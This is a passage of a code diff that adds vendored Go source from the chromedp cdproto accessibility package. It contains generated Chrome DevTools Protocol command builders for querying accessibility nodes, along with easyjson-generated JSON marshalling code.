+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getAXNodeAndAncestors
+//
+// parameters:
+func GetAXNodeAndAncestors() *GetAXNodeAndAncestorsParams {
+ return &GetAXNodeAndAncestorsParams{}
+}
+
+// WithNodeID identifier of the node to get.
+func (p GetAXNodeAndAncestorsParams) WithNodeID(nodeID cdp.NodeID) *GetAXNodeAndAncestorsParams {
+ p.NodeID = nodeID
+ return &p
+}
+
+// WithBackendNodeID identifier of the backend node to get.
+func (p GetAXNodeAndAncestorsParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *GetAXNodeAndAncestorsParams {
+ p.BackendNodeID = backendNodeID
+ return &p
+}
+
+// WithObjectID JavaScript object id of the node wrapper to get.
+func (p GetAXNodeAndAncestorsParams) WithObjectID(objectID runtime.RemoteObjectID) *GetAXNodeAndAncestorsParams {
+ p.ObjectID = objectID
+ return &p
+}
+
+// GetAXNodeAndAncestorsReturns return values.
+type GetAXNodeAndAncestorsReturns struct {
+ Nodes []*Node `json:"nodes,omitempty"`
+}
+
+// Do executes Accessibility.getAXNodeAndAncestors against the provided context.
+//
+// returns:
+//
+// nodes
+func (p *GetAXNodeAndAncestorsParams) Do(ctx context.Context) (nodes []*Node, err error) {
+ // execute
+ var res GetAXNodeAndAncestorsReturns
+ err = cdp.Execute(ctx, CommandGetAXNodeAndAncestors, p, &res)
+ if err != nil {
+ return nil, err
+ }
+
+ return res.Nodes, nil
+}
+
+// GetChildAXNodesParams fetches a particular accessibility node by AXNodeId.
+// Requires enable() to have been called previously.
+type GetChildAXNodesParams struct {
+ ID NodeID `json:"id"`
+ FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame in whose document the node resides. If omitted, the root frame is used.
+}
+
+// GetChildAXNodes fetches a particular accessibility node by AXNodeId.
+// Requires enable() to have been called previously.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getChildAXNodes
+//
+// parameters:
+//
+// id
+func GetChildAXNodes(id NodeID) *GetChildAXNodesParams {
+ return &GetChildAXNodesParams{
+ ID: id,
+ }
+}
+
+// WithFrameID the frame in whose document the node resides. If omitted, the
+// root frame is used.
+func (p GetChildAXNodesParams) WithFrameID(frameID cdp.FrameID) *GetChildAXNodesParams {
+ p.FrameID = frameID
+ return &p
+}
+
+// GetChildAXNodesReturns return values.
+type GetChildAXNodesReturns struct {
+ Nodes []*Node `json:"nodes,omitempty"`
+}
+
+// Do executes Accessibility.getChildAXNodes against the provided context.
+//
+// returns:
+//
+// nodes
+func (p *GetChildAXNodesParams) Do(ctx context.Context) (nodes []*Node, err error) {
+ // execute
+ var res GetChildAXNodesReturns
+ err = cdp.Execute(ctx, CommandGetChildAXNodes, p, &res)
+ if err != nil {
+ return nil, err
+ }
+
+ return res.Nodes, nil
+}
+
+// QueryAXTreeParams query a DOM node's accessibility subtree for accessible
+// name and role. This command computes the name and role for all nodes in the
+// subtree, including those that are ignored for accessibility, and returns
+// those that mactch the specified name and role. If no DOM node is specified,
+// or the DOM node does not exist, the command returns an error. If neither
+// accessibleName or role is specified, it returns all the accessibility nodes
+// in the subtree.
+type QueryAXTreeParams struct {
+ NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node for the root to query.
+ BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node for the root to query.
+ ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper for the root to query.
+ AccessibleName string `json:"accessibleName,omitempty"` // Find nodes with this computed name.
+ Role string `json:"role,omitempty"` // Find nodes with this computed role.
+}
+
+// QueryAXTree query a DOM node's accessibility subtree for accessible name
+// and role. This command computes the name and role for all nodes in the
+// subtree, including those that are ignored for accessibility, and returns
+// those that mactch the specified name and role. If no DOM node is specified,
+// or the DOM node does not exist, the command returns an error. If neither
+// accessibleName or role is specified, it returns all the accessibility nodes
+// in the subtree.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-queryAXTree
+//
+// parameters:
+func QueryAXTree() *QueryAXTreeParams {
+ return &QueryAXTreeParams{}
+}
+
+// WithNodeID identifier of the node for the root to query.
+func (p QueryAXTreeParams) WithNodeID(nodeID cdp.NodeID) *QueryAXTreeParams {
+ p.NodeID = nodeID
+ return &p
+}
+
+// WithBackendNodeID identifier of the backend node for the root to query.
+func (p QueryAXTreeParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *QueryAXTreeParams {
+ p.BackendNodeID = backendNodeID
+ return &p
+}
+
+// WithObjectID JavaScript object id of the node wrapper for the root to
+// query.
+func (p QueryAXTreeParams) WithObjectID(objectID runtime.RemoteObjectID) *QueryAXTreeParams {
+ p.ObjectID = objectID
+ return &p
+}
+
+// WithAccessibleName find nodes with this computed name.
+func (p QueryAXTreeParams) WithAccessibleName(accessibleName string) *QueryAXTreeParams {
+ p.AccessibleName = accessibleName
+ return &p
+}
+
+// WithRole find nodes with this computed role.
+func (p QueryAXTreeParams) WithRole(role string) *QueryAXTreeParams {
+ p.Role = role
+ return &p
+}
+
+// QueryAXTreeReturns return values.
+type QueryAXTreeReturns struct {
+ Nodes []*Node `json:"nodes,omitempty"` // A list of Accessibility.AXNode matching the specified attributes, including nodes that are ignored for accessibility.
+}
+
+// Do executes Accessibility.queryAXTree against the provided context.
+//
+// returns:
+//
+// nodes - A list of Accessibility.AXNode matching the specified attributes, including nodes that are ignored for accessibility.
+func (p *QueryAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) {
+ // execute
+ var res QueryAXTreeReturns
+ err = cdp.Execute(ctx, CommandQueryAXTree, p, &res)
+ if err != nil {
+ return nil, err
+ }
+
+ return res.Nodes, nil
+}
+
+// Command names.
+const (
+ CommandDisable = "Accessibility.disable"
+ CommandEnable = "Accessibility.enable"
+ CommandGetPartialAXTree = "Accessibility.getPartialAXTree"
+ CommandGetFullAXTree = "Accessibility.getFullAXTree"
+ CommandGetRootAXNode = "Accessibility.getRootAXNode"
+ CommandGetAXNodeAndAncestors = "Accessibility.getAXNodeAndAncestors"
+ CommandGetChildAXNodes = "Accessibility.getChildAXNodes"
+ CommandQueryAXTree = "Accessibility.queryAXTree"
+)
diff --git a/vendor/github.com/chromedp/cdproto/accessibility/easyjson.go b/vendor/github.com/chromedp/cdproto/accessibility/easyjson.go
new file mode 100644
index 0000000000..5764bd146e
--- /dev/null
+++ b/vendor/github.com/chromedp/cdproto/accessibility/easyjson.go
@@ -0,0 +1,2260 @@
+// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
+
+package accessibility
+
+import (
+ json "encoding/json"
+ runtime "github.com/chromedp/cdproto/runtime"
+ easyjson "github.com/mailru/easyjson"
+ jlexer "github.com/mailru/easyjson/jlexer"
+ jwriter "github.com/mailru/easyjson/jwriter"
+)
+
+// suppress unused package warning
+var (
+ _ *json.RawMessage
+ _ *jlexer.Lexer
+ _ *jwriter.Writer
+ _ easyjson.Marshaler
+)
+
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility(in *jlexer.Lexer, out *ValueSource) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "type":
+ (out.Type).UnmarshalEasyJSON(in)
+ case "value":
+ if in.IsNull() {
+ in.Skip()
+ out.Value = nil
+ } else {
+ if out.Value == nil {
+ out.Value = new(Value)
+ }
+ (*out.Value).UnmarshalEasyJSON(in)
+ }
+ case "attribute":
+ out.Attribute = string(in.String())
+ case "attributeValue":
+ if in.IsNull() {
+ in.Skip()
+ out.AttributeValue = nil
+ } else {
+ if out.AttributeValue == nil {
+ out.AttributeValue = new(Value)
+ }
+ (*out.AttributeValue).UnmarshalEasyJSON(in)
+ }
+ case "superseded":
+ out.Superseded = bool(in.Bool())
+ case "nativeSource":
+ (out.NativeSource).UnmarshalEasyJSON(in)
+ case "nativeSourceValue":
+ if in.IsNull() {
+ in.Skip()
+ out.NativeSourceValue = nil
+ } else {
+ if out.NativeSourceValue == nil {
+ out.NativeSourceValue = new(Value)
+ }
+ (*out.NativeSourceValue).UnmarshalEasyJSON(in)
+ }
+ case "invalid":
+ out.Invalid = bool(in.Bool())
+ case "invalidReason":
+ out.InvalidReason = string(in.String())
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility(out *jwriter.Writer, in ValueSource) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ {
+ const prefix string = ",\"type\":"
+ out.RawString(prefix[1:])
+ (in.Type).MarshalEasyJSON(out)
+ }
+ if in.Value != nil {
+ const prefix string = ",\"value\":"
+ out.RawString(prefix)
+ (*in.Value).MarshalEasyJSON(out)
+ }
+ if in.Attribute != "" {
+ const prefix string = ",\"attribute\":"
+ out.RawString(prefix)
+ out.String(string(in.Attribute))
+ }
+ if in.AttributeValue != nil {
+ const prefix string = ",\"attributeValue\":"
+ out.RawString(prefix)
+ (*in.AttributeValue).MarshalEasyJSON(out)
+ }
+ if in.Superseded {
+ const prefix string = ",\"superseded\":"
+ out.RawString(prefix)
+ out.Bool(bool(in.Superseded))
+ }
+ if in.NativeSource != "" {
+ const prefix string = ",\"nativeSource\":"
+ out.RawString(prefix)
+ (in.NativeSource).MarshalEasyJSON(out)
+ }
+ if in.NativeSourceValue != nil {
+ const prefix string = ",\"nativeSourceValue\":"
+ out.RawString(prefix)
+ (*in.NativeSourceValue).MarshalEasyJSON(out)
+ }
+ if in.Invalid {
+ const prefix string = ",\"invalid\":"
+ out.RawString(prefix)
+ out.Bool(bool(in.Invalid))
+ }
+ if in.InvalidReason != "" {
+ const prefix string = ",\"invalidReason\":"
+ out.RawString(prefix)
+ out.String(string(in.InvalidReason))
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v ValueSource) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v ValueSource) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *ValueSource) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *ValueSource) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility1(in *jlexer.Lexer, out *Value) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "type":
+ (out.Type).UnmarshalEasyJSON(in)
+ case "value":
+ (out.Value).UnmarshalEasyJSON(in)
+ case "relatedNodes":
+ if in.IsNull() {
+ in.Skip()
+ out.RelatedNodes = nil
+ } else {
+ in.Delim('[')
+ if out.RelatedNodes == nil {
+ if !in.IsDelim(']') {
+ out.RelatedNodes = make([]*RelatedNode, 0, 8)
+ } else {
+ out.RelatedNodes = []*RelatedNode{}
+ }
+ } else {
+ out.RelatedNodes = (out.RelatedNodes)[:0]
+ }
+ for !in.IsDelim(']') {
+ var v1 *RelatedNode
+ if in.IsNull() {
+ in.Skip()
+ v1 = nil
+ } else {
+ if v1 == nil {
+ v1 = new(RelatedNode)
+ }
+ (*v1).UnmarshalEasyJSON(in)
+ }
+ out.RelatedNodes = append(out.RelatedNodes, v1)
+ in.WantComma()
+ }
+ in.Delim(']')
+ }
+ case "sources":
+ if in.IsNull() {
+ in.Skip()
+ out.Sources = nil
+ } else {
+ in.Delim('[')
+ if out.Sources == nil {
+ if !in.IsDelim(']') {
+ out.Sources = make([]*ValueSource, 0, 8)
+ } else {
+ out.Sources = []*ValueSource{}
+ }
+ } else {
+ out.Sources = (out.Sources)[:0]
+ }
+ for !in.IsDelim(']') {
+ var v2 *ValueSource
+ if in.IsNull() {
+ in.Skip()
+ v2 = nil
+ } else {
+ if v2 == nil {
+ v2 = new(ValueSource)
+ }
+ (*v2).UnmarshalEasyJSON(in)
+ }
+ out.Sources = append(out.Sources, v2)
+ in.WantComma()
+ }
+ in.Delim(']')
+ }
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility1(out *jwriter.Writer, in Value) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ {
+ const prefix string = ",\"type\":"
+ out.RawString(prefix[1:])
+ (in.Type).MarshalEasyJSON(out)
+ }
+ if (in.Value).IsDefined() {
+ const prefix string = ",\"value\":"
+ out.RawString(prefix)
+ (in.Value).MarshalEasyJSON(out)
+ }
+ if len(in.RelatedNodes) != 0 {
+ const prefix string = ",\"relatedNodes\":"
+ out.RawString(prefix)
+ {
+ out.RawByte('[')
+ for v3, v4 := range in.RelatedNodes {
+ if v3 > 0 {
+ out.RawByte(',')
+ }
+ if v4 == nil {
+ out.RawString("null")
+ } else {
+ (*v4).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte(']')
+ }
+ }
+ if len(in.Sources) != 0 {
+ const prefix string = ",\"sources\":"
+ out.RawString(prefix)
+ {
+ out.RawByte('[')
+ for v5, v6 := range in.Sources {
+ if v5 > 0 {
+ out.RawByte(',')
+ }
+ if v6 == nil {
+ out.RawString("null")
+ } else {
+ (*v6).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte(']')
+ }
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v Value) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility1(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v Value) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility1(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *Value) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility1(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *Value) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility1(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility2(in *jlexer.Lexer, out *RelatedNode) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "backendDOMNodeId":
+ (out.BackendDOMNodeID).UnmarshalEasyJSON(in)
+ case "idref":
+ out.Idref = string(in.String())
+ case "text":
+ out.Text = string(in.String())
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility2(out *jwriter.Writer, in RelatedNode) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ {
+ const prefix string = ",\"backendDOMNodeId\":"
+ out.RawString(prefix[1:])
+ out.Int64(int64(in.BackendDOMNodeID))
+ }
+ if in.Idref != "" {
+ const prefix string = ",\"idref\":"
+ out.RawString(prefix)
+ out.String(string(in.Idref))
+ }
+ if in.Text != "" {
+ const prefix string = ",\"text\":"
+ out.RawString(prefix)
+ out.String(string(in.Text))
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v RelatedNode) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility2(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v RelatedNode) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility2(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *RelatedNode) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility2(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *RelatedNode) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility2(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility3(in *jlexer.Lexer, out *QueryAXTreeReturns) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "nodes":
+ if in.IsNull() {
+ in.Skip()
+ out.Nodes = nil
+ } else {
+ in.Delim('[')
+ if out.Nodes == nil {
+ if !in.IsDelim(']') {
+ out.Nodes = make([]*Node, 0, 8)
+ } else {
+ out.Nodes = []*Node{}
+ }
+ } else {
+ out.Nodes = (out.Nodes)[:0]
+ }
+ for !in.IsDelim(']') {
+ var v7 *Node
+ if in.IsNull() {
+ in.Skip()
+ v7 = nil
+ } else {
+ if v7 == nil {
+ v7 = new(Node)
+ }
+ (*v7).UnmarshalEasyJSON(in)
+ }
+ out.Nodes = append(out.Nodes, v7)
+ in.WantComma()
+ }
+ in.Delim(']')
+ }
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility3(out *jwriter.Writer, in QueryAXTreeReturns) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ if len(in.Nodes) != 0 {
+ const prefix string = ",\"nodes\":"
+ first = false
+ out.RawString(prefix[1:])
+ {
+ out.RawByte('[')
+ for v8, v9 := range in.Nodes {
+ if v8 > 0 {
+ out.RawByte(',')
+ }
+ if v9 == nil {
+ out.RawString("null")
+ } else {
+ (*v9).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte(']')
+ }
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v QueryAXTreeReturns) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility3(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v QueryAXTreeReturns) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility3(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *QueryAXTreeReturns) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility3(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *QueryAXTreeReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility3(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility4(in *jlexer.Lexer, out *QueryAXTreeParams) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "nodeId":
+ (out.NodeID).UnmarshalEasyJSON(in)
+ case "backendNodeId":
+ (out.BackendNodeID).UnmarshalEasyJSON(in)
+ case "objectId":
+ out.ObjectID = runtime.RemoteObjectID(in.String())
+ case "accessibleName":
+ out.AccessibleName = string(in.String())
+ case "role":
+ out.Role = string(in.String())
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility4(out *jwriter.Writer, in QueryAXTreeParams) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ if in.NodeID != 0 {
+ const prefix string = ",\"nodeId\":"
+ first = false
+ out.RawString(prefix[1:])
+ out.Int64(int64(in.NodeID))
+ }
+ if in.BackendNodeID != 0 {
+ const prefix string = ",\"backendNodeId\":"
+ if first {
+ first = false
+ out.RawString(prefix[1:])
+ } else {
+ out.RawString(prefix)
+ }
+ out.Int64(int64(in.BackendNodeID))
+ }
+ if in.ObjectID != "" {
+ const prefix string = ",\"objectId\":"
+ if first {
+ first = false
+ out.RawString(prefix[1:])
+ } else {
+ out.RawString(prefix)
+ }
+ out.String(string(in.ObjectID))
+ }
+ if in.AccessibleName != "" {
+ const prefix string = ",\"accessibleName\":"
+ if first {
+ first = false
+ out.RawString(prefix[1:])
+ } else {
+ out.RawString(prefix)
+ }
+ out.String(string(in.AccessibleName))
+ }
+ if in.Role != "" {
+ const prefix string = ",\"role\":"
+ if first {
+ first = false
+ out.RawString(prefix[1:])
+ } else {
+ out.RawString(prefix)
+ }
+ out.String(string(in.Role))
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v QueryAXTreeParams) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility4(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v QueryAXTreeParams) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility4(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *QueryAXTreeParams) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility4(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *QueryAXTreeParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility4(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility5(in *jlexer.Lexer, out *Property) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "name":
+ (out.Name).UnmarshalEasyJSON(in)
+ case "value":
+ if in.IsNull() {
+ in.Skip()
+ out.Value = nil
+ } else {
+ if out.Value == nil {
+ out.Value = new(Value)
+ }
+ (*out.Value).UnmarshalEasyJSON(in)
+ }
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility5(out *jwriter.Writer, in Property) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ {
+ const prefix string = ",\"name\":"
+ out.RawString(prefix[1:])
+ (in.Name).MarshalEasyJSON(out)
+ }
+ {
+ const prefix string = ",\"value\":"
+ out.RawString(prefix)
+ if in.Value == nil {
+ out.RawString("null")
+ } else {
+ (*in.Value).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v Property) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility5(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v Property) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility5(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *Property) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility5(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *Property) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility5(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility6(in *jlexer.Lexer, out *Node) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "nodeId":
+ out.NodeID = NodeID(in.String())
+ case "ignored":
+ out.Ignored = bool(in.Bool())
+ case "ignoredReasons":
+ if in.IsNull() {
+ in.Skip()
+ out.IgnoredReasons = nil
+ } else {
+ in.Delim('[')
+ if out.IgnoredReasons == nil {
+ if !in.IsDelim(']') {
+ out.IgnoredReasons = make([]*Property, 0, 8)
+ } else {
+ out.IgnoredReasons = []*Property{}
+ }
+ } else {
+ out.IgnoredReasons = (out.IgnoredReasons)[:0]
+ }
+ for !in.IsDelim(']') {
+ var v10 *Property
+ if in.IsNull() {
+ in.Skip()
+ v10 = nil
+ } else {
+ if v10 == nil {
+ v10 = new(Property)
+ }
+ (*v10).UnmarshalEasyJSON(in)
+ }
+ out.IgnoredReasons = append(out.IgnoredReasons, v10)
+ in.WantComma()
+ }
+ in.Delim(']')
+ }
+ case "role":
+ if in.IsNull() {
+ in.Skip()
+ out.Role = nil
+ } else {
+ if out.Role == nil {
+ out.Role = new(Value)
+ }
+ (*out.Role).UnmarshalEasyJSON(in)
+ }
+ case "chromeRole":
+ if in.IsNull() {
+ in.Skip()
+ out.ChromeRole = nil
+ } else {
+ if out.ChromeRole == nil {
+ out.ChromeRole = new(Value)
+ }
+ (*out.ChromeRole).UnmarshalEasyJSON(in)
+ }
+ case "name":
+ if in.IsNull() {
+ in.Skip()
+ out.Name = nil
+ } else {
+ if out.Name == nil {
+ out.Name = new(Value)
+ }
+ (*out.Name).UnmarshalEasyJSON(in)
+ }
+ case "description":
+ if in.IsNull() {
+ in.Skip()
+ out.Description = nil
+ } else {
+ if out.Description == nil {
+ out.Description = new(Value)
+ }
+ (*out.Description).UnmarshalEasyJSON(in)
+ }
+ case "value":
+ if in.IsNull() {
+ in.Skip()
+ out.Value = nil
+ } else {
+ if out.Value == nil {
+ out.Value = new(Value)
+ }
+ (*out.Value).UnmarshalEasyJSON(in)
+ }
+ case "properties":
+ if in.IsNull() {
+ in.Skip()
+ out.Properties = nil
+ } else {
+ in.Delim('[')
+ if out.Properties == nil {
+ if !in.IsDelim(']') {
+ out.Properties = make([]*Property, 0, 8)
+ } else {
+ out.Properties = []*Property{}
+ }
+ } else {
+ out.Properties = (out.Properties)[:0]
+ }
+ for !in.IsDelim(']') {
+ var v11 *Property
+ if in.IsNull() {
+ in.Skip()
+ v11 = nil
+ } else {
+ if v11 == nil {
+ v11 = new(Property)
+ }
+ (*v11).UnmarshalEasyJSON(in)
+ }
+ out.Properties = append(out.Properties, v11)
+ in.WantComma()
+ }
+ in.Delim(']')
+ }
+ case "parentId":
+ out.ParentID = NodeID(in.String())
+ case "childIds":
+ if in.IsNull() {
+ in.Skip()
+ out.ChildIDs = nil
+ } else {
+ in.Delim('[')
+ if out.ChildIDs == nil {
+ if !in.IsDelim(']') {
+ out.ChildIDs = make([]NodeID, 0, 4)
+ } else {
+ out.ChildIDs = []NodeID{}
+ }
+ } else {
+ out.ChildIDs = (out.ChildIDs)[:0]
+ }
+ for !in.IsDelim(']') {
+ var v12 NodeID
+ v12 = NodeID(in.String())
+ out.ChildIDs = append(out.ChildIDs, v12)
